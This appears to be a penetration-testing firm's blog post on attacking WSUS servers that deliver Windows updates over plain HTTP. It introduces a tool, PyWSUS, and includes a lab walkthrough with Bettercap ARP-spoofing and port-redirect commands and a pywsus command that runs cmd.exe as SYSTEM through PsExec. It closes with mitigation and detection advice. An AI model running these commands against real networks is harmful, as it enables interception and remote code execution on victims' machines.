Attacking improperly configured WSUS
In 2015, Alex Chapman and Paul Stone published a proof of concept tool to poison Windows updates while executing a Machine-in-the-middle (MITM) attack as part of their BlackHat presentation titled “WSUSpect – Compromising the Windows Enterprise via Windows Update”, introducing the attack for the first time. This section will summarize the attack.
WSUS enables system administrators in organizations to centrally manage the distribution of updates and hotfixes released by Microsoft to a fleet of systems. The attack consists in abusing the default configuration of WSUS: when first configuring the service, usage of HTTPS is not enforced, as shown in Figure 1.
WSUS uses SSL for metadata only, not for update files. This is the same way that Microsoft Update distributes updates. Microsoft reduces the risk of sending update files over an unencrypted channel by signing each update. In addition, a hash is computed and sent together with the metadata for each update. When an update is downloaded, WSUS checks the digital signature and hash. If the update has been changed, it is not installed.
Although binaries in WSUS updates need to be signed by Microsoft, the lack of enforcement of HTTPS is a major oversight. Relying on HTTP opens the update server to MITM attacks which allows injecting malicious update metadata. This metadata is unsigned, meaning there is no integrity protection to prevent tampering.
For example, a computer configured to get its updates from a WSUS server will initially perform the following handshake:
Figure 2 – Example 3: Initial Update Synchronization to Update Client –
All metadata exchanges between the client and the server is done using the Simple Object Access Protocol (SOAP). By exploiting the lack of integrity of the SOAP calls transmitted over an unencrypted HTTP channel, an attacker performing a MITM attack can tamper responses to the SOAP requests “SyncUpdates (software)” and “GetExtendedUpdateInfo”.
First a new update can be injected. Second, when fetching the information associated with this new update, the URL parameter is used to point the client to the update file to be downloaded:
Figure 3 – GetExtendedUpdateInfo
Luckily, the “CommandLineInstallation” handler specifies additional parameters to pass the binary during the update installation. No integrity checks are made on these parameters, so they can be tampered easily. As a result, Microsoft-signed binaries such as PsExec64 or bginfo can be used in a fake update to achieve command execution on the client side with “NT AUTHORITY\SYSTEM” privileges:
Figure 4 – CommandLineInstallation
In the sample WSUS response above, PsExec64.exe is given as a signed “update” which tells the client to install the update with arguments resulting in the malicious command cmd.exe being called and executed.
Experienced pentesters know that there is a collection of signed Windows tools, known as Living off the Land binaries, that can be repurposed to download and execute payloads.
This summarizes the vulnerability and, for further information, complete attack details are available in the BlackHat presentation.
However, as stated at the beginning of the blog article, exposing the vulnerability is not enough to demonstrate impact to organizations. This is probably because WSUSpect-proxy hasn’t been updated in years and doesn’t work on Windows 10. Furthermore, alternative projects exist but they are either broken or focus on different attack scenarios.
During internal pentests, we encountered a lot of unsecure WSUS deployments. Indeed, over 98% of the time, WSUS was configured to use HTTP.
Usually, this is reported as a low-medium risk observation (following CVSS 3.1) due to the lack of a public exploit and organizations do not typically mitigate the issue.
Trying to demonstrate impact on this observation we developed a Python implementation of the WSUS server named PyWSUS that could execute the same attack as WSUSpect-Proxy and even more.
The main goal of this tool is to be a standalone implementation of a legitimate WSUS server which sends malicious responses to clients. The MITM attack itself should be done using other dedicated tools, such as Bettercap.
-h, –help show this help message and exit
-H HOST, –host HOST The listening adress.
-p PORT, –port PORT The listening port.
-c COMMAND, –command COMMAND
The parameters for the current payload
-e EXECUTABLE, –executable EXECUTABLE
The executable to returned to the victim. It has to be signed by Microsoft–e.g., psexec
-v, –verbose increase output verbosity.
Example: python pywsus.py -c ‘/accepteula /s calc.exe’ -e PsExec64.exe
Why a new tool instead of forking WSUSpect-Proxy?
The main design difference in PyWSUS is that it does not focus on interception. Unlike WSUSpect-Proxy, our tool acts as a legitimate WSUS server and implements parts of the protocol’s communications. The goal of PyWSUS is not only to get code execution on a remote host, but also to provide a flexible tool to researchers to take advantage of most of WSUS’s functionalities. For example, post-exploitation, through a malicious WSUS server for persistence or uninstalling a previously installed patch, are use cases we intend to explore with this new tool.
In this attack scenario, we use Bettercap to ARP spoof our victim, intercept the update requests and inject a malicious WSUS update response. This update will deliver a PsExec payload to run arbitrary code. A video will follow to demonstrate this scenario in action.
Here are the network IP addresses for the demo:
• Victim: 172.16.205.20
• Attacker: 172.16.205.21
Bettercap needs to be configured this way:
1. ARP spoof the victim to MITM its traffic
a. set arp.spoof.targets 172.16.205.20
b. arp.spoof on
2. Redirect all traffic incoming from port 8530 to a PyWSUS instance
a. set any.proxy.src_port 8530
b. set any.proxy.dst_port 8530
c. set any.proxy.dst_address 172.16.205.21
Finally, run an instance of PyWSUS to serve a bundle update with PsExec:
python pywsus.py -H 172.16.205.21 -p 8530 -e PsExec64.exe -c ‘/accepteula /s cmd.exe /c “echo wsus.poc > C:\\poc.txt”‘
Next time the victim’s host will perform a WSUS “SyncUpdates” action, the instance of PyWSUS will reply with the malicious update.
From our perspective, the best way to avoid exploitability of this issue is to force WSUS deployments to use a secured HTTPS channel.
The certificate presented by the WSUS server must be validated by the client. Error in validating the certificate will result in the wupdate client closing the connection.
The three major ways of generating a certificate for a WSUS server are:
- Using an internal PKI for which a Root CA certificate is deployed on domain computers and a certificate signed by that Root CA is used to serve WSUS updates
- Purchasing a certificate signed by a third-party CA authority trusted in the Windows OS trust store
- Using a self-signed certificate and push a copy of this certificate on all domain computers using a GPO
On the detection side, a client enrolled with WSUS will report their installed updates inventory periodically. Looking for installed updates that stand-out from the ones approved and deployed could be a way to detect such attack. This is a preliminary idea that we have not explored yet. Let us know on Twitter or LinkedIn if you have any experience doing this kind of installed patches differential analysis at the scale of an organization.
In this article, we were painfully reminded that most WSUS deployments are still vulnerable to the injection of malicious updates caused by a dated default configuration coming from Microsoft. Since the tools released in 2015 were no longer functional, we created a new one, allowing us to demonstrate the impact of such vulnerability to organizations. We also noticed that more research needs to be done on WSUS, both on the offensive and the detection sides. Our next blog post will explore combining WSUS with other bugs to achieve more interesting results. Stay tuned!
This blog post series’ content and more is going to be featured in a presentation titled “On the Shoulder of Giants: Reviving WSUS Attacks” at our GoSec virtual event in a couple of weeks. Make sure to attend!
Special thanks to Olivier Bilodeau, Romain Carnus, Laurent Desaulniers, Maxime Nadeau and Mathieu Novis for their contributions to this research and blogpost.